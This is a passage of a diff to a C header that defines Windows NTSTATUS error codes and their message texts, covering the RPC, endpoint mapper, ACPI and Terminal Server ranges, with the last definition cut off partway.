((NTSTATUS)0xC0020003L) + +// +// MessageId: RPC_NT_PROTSEQ_NOT_SUPPORTED +// +// MessageText: +// +// The RPC protocol sequence is not supported. +// +#define RPC_NT_PROTSEQ_NOT_SUPPORTED ((NTSTATUS)0xC0020004L) + +// +// MessageId: RPC_NT_INVALID_RPC_PROTSEQ +// +// MessageText: +// +// The RPC protocol sequence is invalid. +// +#define RPC_NT_INVALID_RPC_PROTSEQ ((NTSTATUS)0xC0020005L) + +// +// MessageId: RPC_NT_INVALID_STRING_UUID +// +// MessageText: +// +// The string UUID is invalid. +// +#define RPC_NT_INVALID_STRING_UUID ((NTSTATUS)0xC0020006L) + +// +// MessageId: RPC_NT_INVALID_ENDPOINT_FORMAT +// +// MessageText: +// +// The endpoint format is invalid. +// +#define RPC_NT_INVALID_ENDPOINT_FORMAT ((NTSTATUS)0xC0020007L) + +// +// MessageId: RPC_NT_INVALID_NET_ADDR +// +// MessageText: +// +// The network address is invalid. +// +#define RPC_NT_INVALID_NET_ADDR ((NTSTATUS)0xC0020008L) + +// +// MessageId: RPC_NT_NO_ENDPOINT_FOUND +// +// MessageText: +// +// No endpoint was found. +// +#define RPC_NT_NO_ENDPOINT_FOUND ((NTSTATUS)0xC0020009L) + +// +// MessageId: RPC_NT_INVALID_TIMEOUT +// +// MessageText: +// +// The timeout value is invalid. +// +#define RPC_NT_INVALID_TIMEOUT ((NTSTATUS)0xC002000AL) + +// +// MessageId: RPC_NT_OBJECT_NOT_FOUND +// +// MessageText: +// +// The object UUID was not found. +// +#define RPC_NT_OBJECT_NOT_FOUND ((NTSTATUS)0xC002000BL) + +// +// MessageId: RPC_NT_ALREADY_REGISTERED +// +// MessageText: +// +// The object UUID has already been registered. +// +#define RPC_NT_ALREADY_REGISTERED ((NTSTATUS)0xC002000CL) + +// +// MessageId: RPC_NT_TYPE_ALREADY_REGISTERED +// +// MessageText: +// +// The type UUID has already been registered. +// +#define RPC_NT_TYPE_ALREADY_REGISTERED ((NTSTATUS)0xC002000DL) + +// +// MessageId: RPC_NT_ALREADY_LISTENING +// +// MessageText: +// +// The RPC server is already listening. +// +#define RPC_NT_ALREADY_LISTENING ((NTSTATUS)0xC002000EL) + +// +// MessageId: RPC_NT_NO_PROTSEQS_REGISTERED +// +// MessageText: +// +// No protocol sequences have been registered. +// +#define RPC_NT_NO_PROTSEQS_REGISTERED ((NTSTATUS)0xC002000FL) + +// +// MessageId: RPC_NT_NOT_LISTENING +// +// MessageText: +// +// The RPC server is not listening. +// +#define RPC_NT_NOT_LISTENING ((NTSTATUS)0xC0020010L) + +// +// MessageId: RPC_NT_UNKNOWN_MGR_TYPE +// +// MessageText: +// +// The manager type is unknown. +// +#define RPC_NT_UNKNOWN_MGR_TYPE ((NTSTATUS)0xC0020011L) + +// +// MessageId: RPC_NT_UNKNOWN_IF +// +// MessageText: +// +// The interface is unknown. +// +#define RPC_NT_UNKNOWN_IF ((NTSTATUS)0xC0020012L) + +// +// MessageId: RPC_NT_NO_BINDINGS +// +// MessageText: +// +// There are no bindings. +// +#define RPC_NT_NO_BINDINGS ((NTSTATUS)0xC0020013L) + +// +// MessageId: RPC_NT_NO_PROTSEQS +// +// MessageText: +// +// There are no protocol sequences. +// +#define RPC_NT_NO_PROTSEQS ((NTSTATUS)0xC0020014L) + +// +// MessageId: RPC_NT_CANT_CREATE_ENDPOINT +// +// MessageText: +// +// The endpoint cannot be created. +// +#define RPC_NT_CANT_CREATE_ENDPOINT ((NTSTATUS)0xC0020015L) + +// +// MessageId: RPC_NT_OUT_OF_RESOURCES +// +// MessageText: +// +// Not enough resources are available to complete this operation. +// +#define RPC_NT_OUT_OF_RESOURCES ((NTSTATUS)0xC0020016L) + +// +// MessageId: RPC_NT_SERVER_UNAVAILABLE +// +// MessageText: +// +// The RPC server is unavailable. +// +#define RPC_NT_SERVER_UNAVAILABLE ((NTSTATUS)0xC0020017L) + +// +// MessageId: RPC_NT_SERVER_TOO_BUSY +// +// MessageText: +// +// The RPC server is too busy to complete this operation. +// +#define RPC_NT_SERVER_TOO_BUSY ((NTSTATUS)0xC0020018L) + +// +// MessageId: RPC_NT_INVALID_NETWORK_OPTIONS +// +// MessageText: +// +// The network options are invalid. +// +#define RPC_NT_INVALID_NETWORK_OPTIONS ((NTSTATUS)0xC0020019L) + +// +// MessageId: RPC_NT_NO_CALL_ACTIVE +// +// MessageText: +// +// There are no remote procedure calls active on this thread. +// +#define RPC_NT_NO_CALL_ACTIVE ((NTSTATUS)0xC002001AL) + +// +// MessageId: RPC_NT_CALL_FAILED +// +// MessageText: +// +// The remote procedure call failed. +// +#define RPC_NT_CALL_FAILED ((NTSTATUS)0xC002001BL) + +// +// MessageId: RPC_NT_CALL_FAILED_DNE +// +// MessageText: +// +// The remote procedure call failed and did not execute. +// +#define RPC_NT_CALL_FAILED_DNE ((NTSTATUS)0xC002001CL) + +// +// MessageId: RPC_NT_PROTOCOL_ERROR +// +// MessageText: +// +// An RPC protocol error occurred. +// +#define RPC_NT_PROTOCOL_ERROR ((NTSTATUS)0xC002001DL) + +// +// MessageId: RPC_NT_UNSUPPORTED_TRANS_SYN +// +// MessageText: +// +// The transfer syntax is not supported by the RPC server. +// +#define RPC_NT_UNSUPPORTED_TRANS_SYN ((NTSTATUS)0xC002001FL) + +// +// MessageId: RPC_NT_UNSUPPORTED_TYPE +// +// MessageText: +// +// The type UUID is not supported. +// +#define RPC_NT_UNSUPPORTED_TYPE ((NTSTATUS)0xC0020021L) + +// +// MessageId: RPC_NT_INVALID_TAG +// +// MessageText: +// +// The tag is invalid. +// +#define RPC_NT_INVALID_TAG ((NTSTATUS)0xC0020022L) + +// +// MessageId: RPC_NT_INVALID_BOUND +// +// MessageText: +// +// The array bounds are invalid. +// +#define RPC_NT_INVALID_BOUND ((NTSTATUS)0xC0020023L) + +// +// MessageId: RPC_NT_NO_ENTRY_NAME +// +// MessageText: +// +// The binding does not contain an entry name. +// +#define RPC_NT_NO_ENTRY_NAME ((NTSTATUS)0xC0020024L) + +// +// MessageId: RPC_NT_INVALID_NAME_SYNTAX +// +// MessageText: +// +// The name syntax is invalid. +// +#define RPC_NT_INVALID_NAME_SYNTAX ((NTSTATUS)0xC0020025L) + +// +// MessageId: RPC_NT_UNSUPPORTED_NAME_SYNTAX +// +// MessageText: +// +// The name syntax is not supported. +// +#define RPC_NT_UNSUPPORTED_NAME_SYNTAX ((NTSTATUS)0xC0020026L) + +// +// MessageId: RPC_NT_UUID_NO_ADDRESS +// +// MessageText: +// +// No network address is available to use to construct a UUID. +// +#define RPC_NT_UUID_NO_ADDRESS ((NTSTATUS)0xC0020028L) + +// +// MessageId: RPC_NT_DUPLICATE_ENDPOINT +// +// MessageText: +// +// The endpoint is a duplicate. +// +#define RPC_NT_DUPLICATE_ENDPOINT ((NTSTATUS)0xC0020029L) + +// +// MessageId: RPC_NT_UNKNOWN_AUTHN_TYPE +// +// MessageText: +// +// The authentication type is unknown. +// +#define RPC_NT_UNKNOWN_AUTHN_TYPE ((NTSTATUS)0xC002002AL) + +// +// MessageId: RPC_NT_MAX_CALLS_TOO_SMALL +// +// MessageText: +// +// The maximum number of calls is too small. +// +#define RPC_NT_MAX_CALLS_TOO_SMALL ((NTSTATUS)0xC002002BL) + +// +// MessageId: RPC_NT_STRING_TOO_LONG +// +// MessageText: +// +// The string is too long. +// +#define RPC_NT_STRING_TOO_LONG ((NTSTATUS)0xC002002CL) + +// +// MessageId: RPC_NT_PROTSEQ_NOT_FOUND +// +// MessageText: +// +// The RPC protocol sequence was not found. +// +#define RPC_NT_PROTSEQ_NOT_FOUND ((NTSTATUS)0xC002002DL) + +// +// MessageId: RPC_NT_PROCNUM_OUT_OF_RANGE +// +// MessageText: +// +// The procedure number is out of range. +// +#define RPC_NT_PROCNUM_OUT_OF_RANGE ((NTSTATUS)0xC002002EL) + +// +// MessageId: RPC_NT_BINDING_HAS_NO_AUTH +// +// MessageText: +// +// The binding does not contain any authentication information. +// +#define RPC_NT_BINDING_HAS_NO_AUTH ((NTSTATUS)0xC002002FL) + +// +// MessageId: RPC_NT_UNKNOWN_AUTHN_SERVICE +// +// MessageText: +// +// The authentication service is unknown. +// +#define RPC_NT_UNKNOWN_AUTHN_SERVICE ((NTSTATUS)0xC0020030L) + +// +// MessageId: RPC_NT_UNKNOWN_AUTHN_LEVEL +// +// MessageText: +// +// The authentication level is unknown. +// +#define RPC_NT_UNKNOWN_AUTHN_LEVEL ((NTSTATUS)0xC0020031L) + +// +// MessageId: RPC_NT_INVALID_AUTH_IDENTITY +// +// MessageText: +// +// The security context is invalid. +// +#define RPC_NT_INVALID_AUTH_IDENTITY ((NTSTATUS)0xC0020032L) + +// +// MessageId: RPC_NT_UNKNOWN_AUTHZ_SERVICE +// +// MessageText: +// +// The authorization service is unknown. +// +#define RPC_NT_UNKNOWN_AUTHZ_SERVICE ((NTSTATUS)0xC0020033L) + +// +// MessageId: EPT_NT_INVALID_ENTRY +// +// MessageText: +// +// The entry is invalid. +// +#define EPT_NT_INVALID_ENTRY ((NTSTATUS)0xC0020034L) + +// +// MessageId: EPT_NT_CANT_PERFORM_OP +// +// MessageText: +// +// The operation cannot be performed. +// +#define EPT_NT_CANT_PERFORM_OP ((NTSTATUS)0xC0020035L) + +// +// MessageId: EPT_NT_NOT_REGISTERED +// +// MessageText: +// +// There are no more endpoints available from the endpoint mapper. +// +#define EPT_NT_NOT_REGISTERED ((NTSTATUS)0xC0020036L) + +// +// MessageId: RPC_NT_NOTHING_TO_EXPORT +// +// MessageText: +// +// No interfaces have been exported. +// +#define RPC_NT_NOTHING_TO_EXPORT ((NTSTATUS)0xC0020037L) + +// +// MessageId: RPC_NT_INCOMPLETE_NAME +// +// MessageText: +// +// The entry name is incomplete. +// +#define RPC_NT_INCOMPLETE_NAME ((NTSTATUS)0xC0020038L) + +// +// MessageId: RPC_NT_INVALID_VERS_OPTION +// +// MessageText: +// +// The version option is invalid. +// +#define RPC_NT_INVALID_VERS_OPTION ((NTSTATUS)0xC0020039L) + +// +// MessageId: RPC_NT_NO_MORE_MEMBERS +// +// MessageText: +// +// There are no more members. +// +#define RPC_NT_NO_MORE_MEMBERS ((NTSTATUS)0xC002003AL) + +// +// MessageId: RPC_NT_NOT_ALL_OBJS_UNEXPORTED +// +// MessageText: +// +// There is nothing to unexport. +// +#define RPC_NT_NOT_ALL_OBJS_UNEXPORTED ((NTSTATUS)0xC002003BL) + +// +// MessageId: RPC_NT_INTERFACE_NOT_FOUND +// +// MessageText: +// +// The interface was not found. +// +#define RPC_NT_INTERFACE_NOT_FOUND ((NTSTATUS)0xC002003CL) + +// +// MessageId: RPC_NT_ENTRY_ALREADY_EXISTS +// +// MessageText: +// +// The entry already exists. +// +#define RPC_NT_ENTRY_ALREADY_EXISTS ((NTSTATUS)0xC002003DL) + +// +// MessageId: RPC_NT_ENTRY_NOT_FOUND +// +// MessageText: +// +// The entry is not found. +// +#define RPC_NT_ENTRY_NOT_FOUND ((NTSTATUS)0xC002003EL) + +// +// MessageId: RPC_NT_NAME_SERVICE_UNAVAILABLE +// +// MessageText: +// +// The name service is unavailable. +// +#define RPC_NT_NAME_SERVICE_UNAVAILABLE ((NTSTATUS)0xC002003FL) + +// +// MessageId: RPC_NT_INVALID_NAF_ID +// +// MessageText: +// +// The network address family is invalid. +// +#define RPC_NT_INVALID_NAF_ID ((NTSTATUS)0xC0020040L) + +// +// MessageId: RPC_NT_CANNOT_SUPPORT +// +// MessageText: +// +// The requested operation is not supported. +// +#define RPC_NT_CANNOT_SUPPORT ((NTSTATUS)0xC0020041L) + +// +// MessageId: RPC_NT_NO_CONTEXT_AVAILABLE +// +// MessageText: +// +// No security context is available to allow impersonation. +// +#define RPC_NT_NO_CONTEXT_AVAILABLE ((NTSTATUS)0xC0020042L) + +// +// MessageId: RPC_NT_INTERNAL_ERROR +// +// MessageText: +// +// An internal error occurred in RPC. +// +#define RPC_NT_INTERNAL_ERROR ((NTSTATUS)0xC0020043L) + +// +// MessageId: RPC_NT_ZERO_DIVIDE +// +// MessageText: +// +// The RPC server attempted an integer divide by zero. +// +#define RPC_NT_ZERO_DIVIDE ((NTSTATUS)0xC0020044L) + +// +// MessageId: RPC_NT_ADDRESS_ERROR +// +// MessageText: +// +// An addressing error occurred in the RPC server. +// +#define RPC_NT_ADDRESS_ERROR ((NTSTATUS)0xC0020045L) + +// +// MessageId: RPC_NT_FP_DIV_ZERO +// +// MessageText: +// +// A floating point operation at the RPC server caused a divide by zero. +// +#define RPC_NT_FP_DIV_ZERO ((NTSTATUS)0xC0020046L) + +// +// MessageId: RPC_NT_FP_UNDERFLOW +// +// MessageText: +// +// A floating point underflow occurred at the RPC server. +// +#define RPC_NT_FP_UNDERFLOW ((NTSTATUS)0xC0020047L) + +// +// MessageId: RPC_NT_FP_OVERFLOW +// +// MessageText: +// +// A floating point overflow occurred at the RPC server. +// +#define RPC_NT_FP_OVERFLOW ((NTSTATUS)0xC0020048L) + +// +// MessageId: RPC_NT_NO_MORE_ENTRIES +// +// MessageText: +// +// The list of RPC servers available for auto-handle binding has been exhausted. +// +#define RPC_NT_NO_MORE_ENTRIES ((NTSTATUS)0xC0030001L) + +// +// MessageId: RPC_NT_SS_CHAR_TRANS_OPEN_FAIL +// +// MessageText: +// +// The file designated by DCERPCCHARTRANS cannot be opened. +// +#define RPC_NT_SS_CHAR_TRANS_OPEN_FAIL ((NTSTATUS)0xC0030002L) + +// +// MessageId: RPC_NT_SS_CHAR_TRANS_SHORT_FILE +// +// MessageText: +// +// The file containing the character translation table has fewer than 512 bytes. +// +#define RPC_NT_SS_CHAR_TRANS_SHORT_FILE ((NTSTATUS)0xC0030003L) + +// +// MessageId: RPC_NT_SS_IN_NULL_CONTEXT +// +// MessageText: +// +// A null context handle is passed as an [in] parameter. +// +#define RPC_NT_SS_IN_NULL_CONTEXT ((NTSTATUS)0xC0030004L) + +// +// MessageId: RPC_NT_SS_CONTEXT_MISMATCH +// +// MessageText: +// +// The context handle does not match any known context handles. +// +#define RPC_NT_SS_CONTEXT_MISMATCH ((NTSTATUS)0xC0030005L) + +// +// MessageId: RPC_NT_SS_CONTEXT_DAMAGED +// +// MessageText: +// +// The context handle changed during a call. +// +#define RPC_NT_SS_CONTEXT_DAMAGED ((NTSTATUS)0xC0030006L) + +// +// MessageId: RPC_NT_SS_HANDLES_MISMATCH +// +// MessageText: +// +// The binding handles passed to a remote procedure call do not match. +// +#define RPC_NT_SS_HANDLES_MISMATCH ((NTSTATUS)0xC0030007L) + +// +// MessageId: RPC_NT_SS_CANNOT_GET_CALL_HANDLE +// +// MessageText: +// +// The stub is unable to get the call handle. +// +#define RPC_NT_SS_CANNOT_GET_CALL_HANDLE ((NTSTATUS)0xC0030008L) + +// +// MessageId: RPC_NT_NULL_REF_POINTER +// +// MessageText: +// +// A null reference pointer was passed to the stub. +// +#define RPC_NT_NULL_REF_POINTER ((NTSTATUS)0xC0030009L) + +// +// MessageId: RPC_NT_ENUM_VALUE_OUT_OF_RANGE +// +// MessageText: +// +// The enumeration value is out of range. +// +#define RPC_NT_ENUM_VALUE_OUT_OF_RANGE ((NTSTATUS)0xC003000AL) + +// +// MessageId: RPC_NT_BYTE_COUNT_TOO_SMALL +// +// MessageText: +// +// The byte count is too small. +// +#define RPC_NT_BYTE_COUNT_TOO_SMALL ((NTSTATUS)0xC003000BL) + +// +// MessageId: RPC_NT_BAD_STUB_DATA +// +// MessageText: +// +// The stub received bad data. +// +#define RPC_NT_BAD_STUB_DATA ((NTSTATUS)0xC003000CL) + +// +// MessageId: RPC_NT_CALL_IN_PROGRESS +// +// MessageText: +// +// A remote procedure call is already in progress for this thread. +// +#define RPC_NT_CALL_IN_PROGRESS ((NTSTATUS)0xC0020049L) + +// +// MessageId: RPC_NT_NO_MORE_BINDINGS +// +// MessageText: +// +// There are no more bindings. +// +#define RPC_NT_NO_MORE_BINDINGS ((NTSTATUS)0xC002004AL) + +// +// MessageId: RPC_NT_GROUP_MEMBER_NOT_FOUND +// +// MessageText: +// +// The group member was not found. +// +#define RPC_NT_GROUP_MEMBER_NOT_FOUND ((NTSTATUS)0xC002004BL) + +// +// MessageId: EPT_NT_CANT_CREATE +// +// MessageText: +// +// The endpoint mapper database entry could not be created. +// +#define EPT_NT_CANT_CREATE ((NTSTATUS)0xC002004CL) + +// +// MessageId: RPC_NT_INVALID_OBJECT +// +// MessageText: +// +// The object UUID is the nil UUID. +// +#define RPC_NT_INVALID_OBJECT ((NTSTATUS)0xC002004DL) + +// +// MessageId: RPC_NT_NO_INTERFACES +// +// MessageText: +// +// No interfaces have been registered. +// +#define RPC_NT_NO_INTERFACES ((NTSTATUS)0xC002004FL) + +// +// MessageId: RPC_NT_CALL_CANCELLED +// +// MessageText: +// +// The remote procedure call was cancelled. +// +#define RPC_NT_CALL_CANCELLED ((NTSTATUS)0xC0020050L) + +// +// MessageId: RPC_NT_BINDING_INCOMPLETE +// +// MessageText: +// +// The binding handle does not contain all required information. +// +#define RPC_NT_BINDING_INCOMPLETE ((NTSTATUS)0xC0020051L) + +// +// MessageId: RPC_NT_COMM_FAILURE +// +// MessageText: +// +// A communications failure occurred during a remote procedure call. +// +#define RPC_NT_COMM_FAILURE ((NTSTATUS)0xC0020052L) + +// +// MessageId: RPC_NT_UNSUPPORTED_AUTHN_LEVEL +// +// MessageText: +// +// The requested authentication level is not supported. +// +#define RPC_NT_UNSUPPORTED_AUTHN_LEVEL ((NTSTATUS)0xC0020053L) + +// +// MessageId: RPC_NT_NO_PRINC_NAME +// +// MessageText: +// +// No principal name registered. +// +#define RPC_NT_NO_PRINC_NAME ((NTSTATUS)0xC0020054L) + +// +// MessageId: RPC_NT_NOT_RPC_ERROR +// +// MessageText: +// +// The error specified is not a valid Windows RPC error code. +// +#define RPC_NT_NOT_RPC_ERROR ((NTSTATUS)0xC0020055L) + +// +// MessageId: RPC_NT_UUID_LOCAL_ONLY +// +// MessageText: +// +// A UUID that is valid only on this computer has been allocated. +// +#define RPC_NT_UUID_LOCAL_ONLY ((NTSTATUS)0x40020056L) + +// +// MessageId: RPC_NT_SEC_PKG_ERROR +// +// MessageText: +// +// A security package specific error occurred. +// +#define RPC_NT_SEC_PKG_ERROR ((NTSTATUS)0xC0020057L) + +// +// MessageId: RPC_NT_NOT_CANCELLED +// +// MessageText: +// +// Thread is not cancelled. +// +#define RPC_NT_NOT_CANCELLED ((NTSTATUS)0xC0020058L) + +// +// MessageId: RPC_NT_INVALID_ES_ACTION +// +// MessageText: +// +// Invalid operation on the encoding/decoding handle. +// +#define RPC_NT_INVALID_ES_ACTION ((NTSTATUS)0xC0030059L) + +// +// MessageId: RPC_NT_WRONG_ES_VERSION +// +// MessageText: +// +// Incompatible version of the serializing package. +// +#define RPC_NT_WRONG_ES_VERSION ((NTSTATUS)0xC003005AL) + +// +// MessageId: RPC_NT_WRONG_STUB_VERSION +// +// MessageText: +// +// Incompatible version of the RPC stub. +// +#define RPC_NT_WRONG_STUB_VERSION ((NTSTATUS)0xC003005BL) + +// +// MessageId: RPC_NT_INVALID_PIPE_OBJECT +// +// MessageText: +// +// The RPC pipe object is invalid or corrupted. +// +#define RPC_NT_INVALID_PIPE_OBJECT ((NTSTATUS)0xC003005CL) + +// +// MessageId: RPC_NT_INVALID_PIPE_OPERATION +// +// MessageText: +// +// An invalid operation was attempted on an RPC pipe object. +// +#define RPC_NT_INVALID_PIPE_OPERATION ((NTSTATUS)0xC003005DL) + +// +// MessageId: RPC_NT_WRONG_PIPE_VERSION +// +// MessageText: +// +// Unsupported RPC pipe version. +// +#define RPC_NT_WRONG_PIPE_VERSION ((NTSTATUS)0xC003005EL) + +// +// MessageId: RPC_NT_PIPE_CLOSED +// +// MessageText: +// +// The RPC pipe object has already been closed. +// +#define RPC_NT_PIPE_CLOSED ((NTSTATUS)0xC003005FL) + +// +// MessageId: RPC_NT_PIPE_DISCIPLINE_ERROR +// +// MessageText: +// +// The RPC call completed before all pipes were processed. +// +#define RPC_NT_PIPE_DISCIPLINE_ERROR ((NTSTATUS)0xC0030060L) + +// +// MessageId: RPC_NT_PIPE_EMPTY +// +// MessageText: +// +// No more data is available from the RPC pipe. +// +#define RPC_NT_PIPE_EMPTY ((NTSTATUS)0xC0030061L) + +// +// MessageId: RPC_NT_INVALID_ASYNC_HANDLE +// +// MessageText: +// +// Invalid asynchronous remote procedure call handle. +// +#define RPC_NT_INVALID_ASYNC_HANDLE ((NTSTATUS)0xC0020062L) + +// +// MessageId: RPC_NT_INVALID_ASYNC_CALL +// +// MessageText: +// +// Invalid asynchronous RPC call handle for this operation. +// +#define RPC_NT_INVALID_ASYNC_CALL ((NTSTATUS)0xC0020063L) + +// +// MessageId: RPC_NT_SEND_INCOMPLETE +// +// MessageText: +// +// Some data remains to be sent in the request buffer. +// +#define RPC_NT_SEND_INCOMPLETE ((NTSTATUS)0x400200AFL) + +// +// MessageId: STATUS_ACPI_INVALID_OPCODE +// +// MessageText: +// +// An attempt was made to run an invalid AML opcode +// +#define STATUS_ACPI_INVALID_OPCODE ((NTSTATUS)0xC0140001L) + +// +// MessageId: STATUS_ACPI_STACK_OVERFLOW +// +// MessageText: +// +// The AML Interpreter Stack has overflowed +// +#define STATUS_ACPI_STACK_OVERFLOW ((NTSTATUS)0xC0140002L) + +// +// MessageId: STATUS_ACPI_ASSERT_FAILED +// +// MessageText: +// +// An inconsistent state has occurred +// +#define STATUS_ACPI_ASSERT_FAILED ((NTSTATUS)0xC0140003L) + +// +// MessageId: STATUS_ACPI_INVALID_INDEX +// +// MessageText: +// +// An attempt was made to access an array outside of its bounds +// +#define STATUS_ACPI_INVALID_INDEX ((NTSTATUS)0xC0140004L) + +// +// MessageId: STATUS_ACPI_INVALID_ARGUMENT +// +// MessageText: +// +// A required argument was not specified +// +#define STATUS_ACPI_INVALID_ARGUMENT ((NTSTATUS)0xC0140005L) + +// +// MessageId: STATUS_ACPI_FATAL +// +// MessageText: +// +// A fatal error has occurred +// +#define STATUS_ACPI_FATAL ((NTSTATUS)0xC0140006L) + +// +// MessageId: STATUS_ACPI_INVALID_SUPERNAME +// +// MessageText: +// +// An invalid SuperName was specified +// +#define STATUS_ACPI_INVALID_SUPERNAME ((NTSTATUS)0xC0140007L) + +// +// MessageId: STATUS_ACPI_INVALID_ARGTYPE +// +// MessageText: +// +// An argument with an incorrect type was specified +// +#define STATUS_ACPI_INVALID_ARGTYPE ((NTSTATUS)0xC0140008L) + +// +// MessageId: STATUS_ACPI_INVALID_OBJTYPE +// +// MessageText: +// +// An object with an incorrect type was specified +// +#define STATUS_ACPI_INVALID_OBJTYPE ((NTSTATUS)0xC0140009L) + +// +// MessageId: STATUS_ACPI_INVALID_TARGETTYPE +// +// MessageText: +// +// A target with an incorrect type was specified +// +#define STATUS_ACPI_INVALID_TARGETTYPE ((NTSTATUS)0xC014000AL) + +// +// MessageId: STATUS_ACPI_INCORRECT_ARGUMENT_COUNT +// +// MessageText: +// +// An incorrect number of arguments were specified +// +#define STATUS_ACPI_INCORRECT_ARGUMENT_COUNT ((NTSTATUS)0xC014000BL) + +// +// MessageId: STATUS_ACPI_ADDRESS_NOT_MAPPED +// +// MessageText: +// +// An address failed to translate +// +#define STATUS_ACPI_ADDRESS_NOT_MAPPED ((NTSTATUS)0xC014000CL) + +// +// MessageId: STATUS_ACPI_INVALID_EVENTTYPE +// +// MessageText: +// +// An incorrect event type was specified +// +#define STATUS_ACPI_INVALID_EVENTTYPE ((NTSTATUS)0xC014000DL) + +// +// MessageId: STATUS_ACPI_HANDLER_COLLISION +// +// MessageText: +// +// A handler for the target already exists +// +#define STATUS_ACPI_HANDLER_COLLISION ((NTSTATUS)0xC014000EL) + +// +// MessageId: STATUS_ACPI_INVALID_DATA +// +// MessageText: +// +// Invalid data for the target was specified +// +#define STATUS_ACPI_INVALID_DATA ((NTSTATUS)0xC014000FL) + +// +// MessageId: STATUS_ACPI_INVALID_REGION +// +// MessageText: +// +// An invalid region for the target was specified +// +#define STATUS_ACPI_INVALID_REGION ((NTSTATUS)0xC0140010L) + +// +// MessageId: STATUS_ACPI_INVALID_ACCESS_SIZE +// +// MessageText: +// +// An attempt was made to access a field outside of the defined range +// +#define STATUS_ACPI_INVALID_ACCESS_SIZE ((NTSTATUS)0xC0140011L) + +// +// MessageId: STATUS_ACPI_ACQUIRE_GLOBAL_LOCK +// +// MessageText: +// +// The Global system lock could not be acquired +// +#define STATUS_ACPI_ACQUIRE_GLOBAL_LOCK ((NTSTATUS)0xC0140012L) + +// +// MessageId: STATUS_ACPI_ALREADY_INITIALIZED +// +// MessageText: +// +// An attempt was made to reinitialize the ACPI subsystem +// +#define STATUS_ACPI_ALREADY_INITIALIZED ((NTSTATUS)0xC0140013L) + +// +// MessageId: STATUS_ACPI_NOT_INITIALIZED +// +// MessageText: +// +// The ACPI subsystem has not been initialized +// +#define STATUS_ACPI_NOT_INITIALIZED ((NTSTATUS)0xC0140014L) + +// +// MessageId: STATUS_ACPI_INVALID_MUTEX_LEVEL +// +// MessageText: +// +// An incorrect mutex was specified +// +#define STATUS_ACPI_INVALID_MUTEX_LEVEL ((NTSTATUS)0xC0140015L) + +// +// MessageId: STATUS_ACPI_MUTEX_NOT_OWNED +// +// MessageText: +// +// The mutex is not currently owned +// +#define STATUS_ACPI_MUTEX_NOT_OWNED ((NTSTATUS)0xC0140016L) + +// +// MessageId: STATUS_ACPI_MUTEX_NOT_OWNER +// +// MessageText: +// +// An attempt was made to access the mutex by a process that was not the owner +// +#define STATUS_ACPI_MUTEX_NOT_OWNER ((NTSTATUS)0xC0140017L) + +// +// MessageId: STATUS_ACPI_RS_ACCESS +// +// MessageText: +// +// An error occurred during an access to Region Space +// +#define STATUS_ACPI_RS_ACCESS ((NTSTATUS)0xC0140018L) + +// +// MessageId: STATUS_ACPI_INVALID_TABLE +// +// MessageText: +// +// An attempt was made to use an incorrect table +// +#define STATUS_ACPI_INVALID_TABLE ((NTSTATUS)0xC0140019L) + +// +// MessageId: STATUS_ACPI_REG_HANDLER_FAILED +// +// MessageText: +// +// The registration of an ACPI event failed +// +#define STATUS_ACPI_REG_HANDLER_FAILED ((NTSTATUS)0xC0140020L) + +// +// MessageId: STATUS_ACPI_POWER_REQUEST_FAILED +// +// MessageText: +// +// An ACPI Power Object failed to transition state +// +#define STATUS_ACPI_POWER_REQUEST_FAILED ((NTSTATUS)0xC0140021L) + +// +// Terminal Server specific Errors +// +// +// MessageId: STATUS_CTX_WINSTATION_NAME_INVALID +// +// MessageText: +// +// Session name %1 is invalid. +// +#define STATUS_CTX_WINSTATION_NAME_INVALID ((NTSTATUS)0xC00A0001L) + +// +// MessageId: STATUS_CTX_INVALID_PD +// +// MessageText: +// +// The protocol driver %1 is invalid. +// +#define STATUS_CTX_INVALID_PD ((NTSTATUS)0xC00A0002L) + +// +// MessageId: STATUS_CTX_PD_NOT_FOUND +// +// MessageText: +// +// The protocol driver %1 was not found in the system path. +// +#define STATUS_CTX_PD_NOT_FOUND ((NTSTATUS)0xC00A0003L) + +// +// MessageId: STATUS_CTX_CDM_CONNECT +// +// MessageText: +// +// The Client Drive Mapping Service Has Connected on Terminal Connection. +// +#define STATUS_CTX_CDM_CONNECT ((NTSTATUS)0x400A0004L) + +// +// MessageId: STATUS_CTX_CDM_DISCONNECT +// +// MessageText: +// +// The Client Drive Mapping Service Has Disconnected on Terminal Connection. +// +#define STATUS_CTX_CDM_DISCONNECT ((NTSTATUS)0x400A0005L) + +// +// MessageId: STATUS_CTX_CLOSE_PENDING +// +// MessageText: +// +// A close operation is pending on the Terminal Connection. +// +#define STATUS_CTX_CLOSE_PENDING ((NTSTATUS)0xC00A0006L) + +// +// MessageId: STATUS_CTX_NO_OUTBUF +// +// MessageText: +// +// There are no free output buffers available. +// +#define STATUS_CTX_NO_OUTBUF ((NTSTATUS)0xC00A0007L) + +// +// MessageId: STATUS_CTX_MODEM_INF_NOT_FOUND +// +// MessageText: +// +// The MODEM.INF file was not found. +// +#define STATUS_CTX_MODEM_INF_NOT_FOUND ((NTSTATUS)0xC00A0008L) + +// +// MessageId: STATUS_CTX_INVALID_MODEMNAME +// +// MessageText: +// +// The modem (%1) was not found in MODEM.INF. +// +#define STATUS_CTX_INVALID_MODEMNAME ((NTSTATUS)0xC00A0009L) + +// +// MessageId: STATUS_CTX_RESPONSE_ERROR +// +// MessageText: +// +// The modem did not accept the command sent to it. +// Verify the configured modem name matches the attached modem. +// +#define STATUS_CTX_RESPONSE_ERROR ((NTSTATUS)0xC00A000AL) + +// +// MessageId: STATUS_CTX_MODEM_RESPONSE_TIMEOUT +// +// MessageText: +// +// The modem did not respond to the command sent to it. +// Verify the modem is properly cabled and powered on. +// +#define STATUS_CTX_MODEM_RESPONSE_TIMEOUT ((NTSTATUS)0xC00A000BL) + +// +// MessageId: STATUS_CTX_MODEM_RESPONSE_NO_CARRIER +// +// MessageText: +// +// Carrier detect has failed or carrier has been dropped due to disconnect. +// +#define STATUS_CTX_MODEM_RESPONSE_NO_CARRIER ((NTSTATUS)0xC00A000CL) + +// +// MessageId: STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE +// +// MessageText: +// +// Dial tone not detected within required time. +// Verify phone cable is properly attached and functional. +// +#define STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE ((NTSTATUS)0xC00A000DL) + +// +// MessageId: STATUS_CTX_MODEM_RESPONSE_BUSY +// +// MessageText: +// +// Busy signal detected at remote site on callback. +// +#define STATUS_CTX_MODEM_RESPONSE_BUSY ((NTSTATUS)0xC00A000EL) + +// +// MessageId: STATUS_CTX_MODEM_RESPONSE_VOICE +// +// MessageText: +// +// Voice detected at remote site on callback. +// +#define 